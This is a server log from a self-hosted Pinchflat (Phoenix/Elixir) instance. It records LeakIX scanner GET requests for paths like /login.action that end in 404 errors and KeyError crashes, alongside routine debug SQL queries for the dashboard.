scheme: "http", version: :"HTTP/1.1", path: "/about", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37922}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162714.0>, params: %{}, path_info: ["about"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/about", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIuDhYeHqvXoAFoOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162713.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37922}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /about (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162713.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/about", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37922}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162714.0>, params: %{}, path_info: ["about"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/about", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIuDhYeHqvXoAFoOB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, (truncated) 17:50:32.160 [info] GET /login.action 17:50:32.160 [debug] QUERY OK source="settings" db=0.2ms idle=986.0ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:32.161 [debug] QUERY OK source="settings" db=0.1ms idle=986.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:32.161 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:32.161 [error] #PID<0.162716.0> running PinchflatWeb.Endpoint (connection #PID<0.162715.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /login.action ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37938}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162716.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/login.action", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIwcYdAdvQoYAFoOh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37938}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162715.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37938}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "206.81.12.187", "x-forwarded-proto" => "https", "x-forwarded-scheme" => "https", "x-real-ip" => "206.81.12.187" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162716.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "https://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "206.81.12.187"}, {"x-forwarded-proto", "https"}, {"x-forwarded-scheme", "https"}, {"x-real-ip", "206.81.12.187"} ], request_path: "/login.action", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIwcYdAdvQoYAFoOh"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: (truncated) 17:50:32.520 [info] GET /login.action 17:50:32.521 [debug] QUERY OK source="settings" db=0.1ms idle=1001.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:32.521 [debug] QUERY OK source="settings" db=0.1ms idle=1001.3ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:32.521 [debug] Converted error Phoenix.Router.NoRouteError to 404 response 17:50:32.521 [error] #PID<0.162718.0> running PinchflatWeb.Endpoint (connection #PID<0.162717.0>, stream id 1) terminated Server: pf.hornstreamingservices.com:80 (http) Request: GET /login.action ** (exit) an exception was raised: ** (KeyError) key :flash not found in: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162717.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37940}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162718.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/login.action", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIxyS7QPqf54AFoPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWeb.Router }, status: 404, stack: [ {PinchflatWeb.Router, :call, 2, [file: ~c"deps/phoenix/lib/phoenix/router.ex", line: 541]}, {PinchflatWeb.Endpoint, :plug_builder_call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {PinchflatWeb.Endpoint, :call, 2, [file: ~c"lib/pinchflat_web/endpoint.ex", line: 1]}, {Plug.Cowboy.Handler, :init, 2, [file: ~c"lib/plug/cowboy/handler.ex", line: 11]}, {:cowboy_handler, :execute, 2, [file: ~c"/app/deps/cowboy/src/cowboy_handler.erl", line: 37]}, {:cowboy_stream_h, :execute, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 310]}, {:cowboy_stream_h, :request_process, 3, [file: ~c"/app/deps/cowboy/src/cowboy_stream_h.erl", line: 299]}, {:proc_lib, :init_p_do_apply, 3, [file: ~c"proc_lib.erl", line: 329]} ], kind: :error, conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162717.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37940}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{ reason: %Phoenix.Router.NoRouteError{ plug_status: 404, message: "no route found for GET /login (PinchflatWeb.Router)", conn: %Plug.Conn{ adapter: {Plug.Cowboy.Conn, %{ pid: #PID<0.162717.0>, port: 80, scheme: "http", version: :"HTTP/1.1", path: "/login.action", host: "pf.hornstreamingservices.com", peer: {{172, 19, 0, 1}, 37940}, bindings: %{}, sock: {{172, 19, 0, 2}, 8945}, ref: PinchflatWeb.Endpoint.HTTP, cert: :undefined, headers: %{ "accept-encoding" => "gzip", "connection" => "close", "host" => "pf.hornstreamingservices.com", "user-agent" => "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)", "x-forwarded-for" => "159.89.12.166", "x-forwarded-proto" => "http", "x-forwarded-scheme" => "http", "x-real-ip" => "159.89.12.166" }, method: "GET", body_length: 0, path_info: :undefined, qs: "", streamid: 1, has_body: false, host_info: :undefined }}, assigns: %{}, body_params: %{}, cookies: %{}, halted: false, host: "pf.hornstreamingservices.com", method: "GET", owner: #PID<0.162718.0>, params: %{}, path_info: ["login"], path_params: %{}, port: 80, private: %{ PinchflatWeb.Router => [], :plug_session_fetch => #Function<1.49469887/1 in Plug.Session.fetch_session/1>, :before_send => [#Function<0.106864063/1 in Plug.Telemetry.call/2>], :phoenix_endpoint => PinchflatWeb.Endpoint, :phoenix_router_url => "http://pf.hornstreamingservices.com", :phoenix_router => PinchflatWeb.Router, :phoenix_request_logger => {"request_logger", "request_logger"} }, query_params: %{}, query_string: "", remote_ip: {172, 19, 0, 1}, req_cookies: %{}, req_headers: [ {"accept-encoding", "gzip"}, {"connection", "close"}, {"host", "pf.hornstreamingservices.com"}, {"user-agent", "Mozilla/5.0 (l9scan/2.0.132323e21323e24323e22373; +https://leakix.net)"}, {"x-forwarded-for", "159.89.12.166"}, {"x-forwarded-proto", "http"}, {"x-forwarded-scheme", "http"}, {"x-real-ip", "159.89.12.166"} ], request_path: "/login.action", resp_body: nil, resp_cookies: %{}, resp_headers: [ {"cache-control", "max-age=0, private, must-revalidate"}, {"x-request-id", "GM1dIxyS7QPqf54AFoPB"} ], scheme: :http, script_name: [], secret_key_base: :..., state: :unset, status: nil }, router: PinchflatWe (truncated) 17:50:33.193 [info] GET / 17:50:33.193 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:50:33.193 [debug] QUERY OK source="settings" db=0.2ms idle=1032.5ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.193 [debug] QUERY OK source="media_profiles" db=0.1ms idle=1032.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:50:33.194 [debug] QUERY OK source="sources" db=0.1ms idle=858.1ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:50:33.195 [debug] QUERY OK source="media_items" db=1.4ms idle=673.1ms SELECT sum(m0."media_size_bytes") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:33.196 [debug] QUERY OK source="media_items" db=0.3ms idle=674.5ms SELECT count(m0."id") FROM "media_items" AS m0 WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:33.196 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.197 [debug] QUERY OK source="settings" db=0.1ms idle=2.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.197 [debug] QUERY OK source="settings" db=0.1ms idle=3.1ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.198 [debug] QUERY OK source="tasks" db=0.1ms idle=2.2ms SELECT t0."id", t0."job_id", t0."source_id", t0."media_item_id", t0."inserted_at", t0."updated_at", o1."id", o1."state", o1."queue", o1."worker", o1."args", o1."meta", o1."tags", o1."errors", o1."attempt", o1."attempted_by", o1."max_attempts", o1."priority", o1."attempted_at", o1."cancelled_at", o1."completed_at", o1."discarded_at", o1."inserted_at", o1."scheduled_at" FROM "tasks" AS t0 LEFT OUTER JOIN "oban_jobs" AS o1 ON o1."id" = t0."job_id" WHERE (o1."state" IN (?)) AND (? IN (SELECT value FROM JSON_EACH(o1."tags"))) ORDER BY o1."attempted_at" DESC ["executing", "show_in_dashboard"] 17:50:33.198 [debug] QUERY OK source="media_items" db=0.2ms idle=2.2ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) [] 17:50:33.199 [debug] QUERY OK source="media_items" db=0.3ms idle=2.0ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (NOT (m0."media_filepath" IS NULL)) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:33.199 [debug] QUERY OK source="sources" db=0.1ms idle=2.5ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at", s0."id" FROM "sources" AS s0 WHERE (s0."id" IN (?,?)) [2, 3] 17:50:33.201 [debug] QUERY OK source="media_items" db=0.6ms idle=3.3ms SELECT count(m0."id") FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) [] 17:50:33.202 [debug] QUERY OK source="media_items" db=0.7ms idle=3.3ms SELECT m0."id", m0."uuid", m0."title", m0."media_id", m0."description", m0."original_url", m0."livestream", m0."short_form_content", m0."media_downloaded_at", m0."media_redownloaded_at", m0."uploaded_at", m0."upload_date_index", m0."duration_seconds", m0."playlist_index", m0."predicted_media_filepath", m0."media_filepath", m0."media_size_bytes", m0."thumbnail_filepath", m0."metadata_filepath", m0."nfo_filepath", m0."subtitle_filepaths", m0."last_error", m0."prevent_download", m0."prevent_culling", m0."culled_at", m0."source_id", m0."inserted_at", m0."updated_at" FROM "media_items" AS m0 INNER JOIN "sources" AS s1 ON s1."id" = m0."source_id" INNER JOIN "media_profiles" AS m2 ON m2."id" = s1."media_profile_id" WHERE (((((NOT (NOT (m0."media_filepath" IS NULL)) AND NOT (m0."prevent_download" = 1)) AND ((s1."download_cutoff_date" IS NULL) OR date(m0."uploaded_at") >= s1."download_cutoff_date")) AND CASE WHEN shorts_behaviour = 'only' AND livestream_behaviour = 'only' THEN livestream = true OR short_form_content = true WHEN shorts_behaviour = 'only' THEN short_form_content = true WHEN livestream_behaviour = 'only' THEN livestream = true WHEN shorts_behaviour = 'exclude' AND livestream_behaviour = 'exclude' THEN short_form_content = false AND livestream = false WHEN shorts_behaviour = 'exclude' THEN short_form_content = false WHEN livestream_behaviour = 'exclude' THEN livestream = false ELSE true END ) AND ((s1."title_filter_regex" IS NULL) OR regexp_like(m0."title", s1."title_filter_regex"))) AND (((s1."min_duration_seconds" IS NULL) OR duration_seconds >= s1."min_duration_seconds") AND ((s1."max_duration_seconds" IS NULL) OR duration_seconds <= s1."max_duration_seconds"))) ORDER BY m0."id" DESC LIMIT ? OFFSET ? [5, 0] 17:50:33.203 [info] Sent 200 in 9ms 17:50:33.517 [info] GET / 17:50:33.518 [debug] Processing with PinchflatWeb.Pages.PageController.home/2 Parameters: %{} Pipelines: [:browser] 17:50:33.518 [debug] QUERY OK source="settings" db=0.1ms idle=318.9ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.518 [info] GET /___proxy_subdomain_whm/login 17:50:33.518 [debug] QUERY OK source="media_profiles" db=0.1ms idle=318.7ms SELECT count(m0."id") FROM "media_profiles" AS m0 [] 17:50:33.518 [debug] QUERY OK source="settings" db=0.1ms idle=317.2ms SELECT s0."id", s0."onboarding", s0."pro_enabled", s0."yt_dlp_version", s0."apprise_version", s0."apprise_server", s0."youtube_api_key", s0."route_token", s0."extractor_sleep_interval_seconds", s0."download_throughput_limit", s0."restrict_filenames", s0."video_codec_preference", s0."audio_codec_preference" FROM "settings" AS s0 LIMIT 1 [] 17:50:33.519 [debug] QUERY OK source="sources" db=0.2ms idle=316.3ms SELECT count(s0."id") FROM "sources" AS s0 [] 17:50:33.519 [debug] QUERY OK source="settings" db=0.2ms 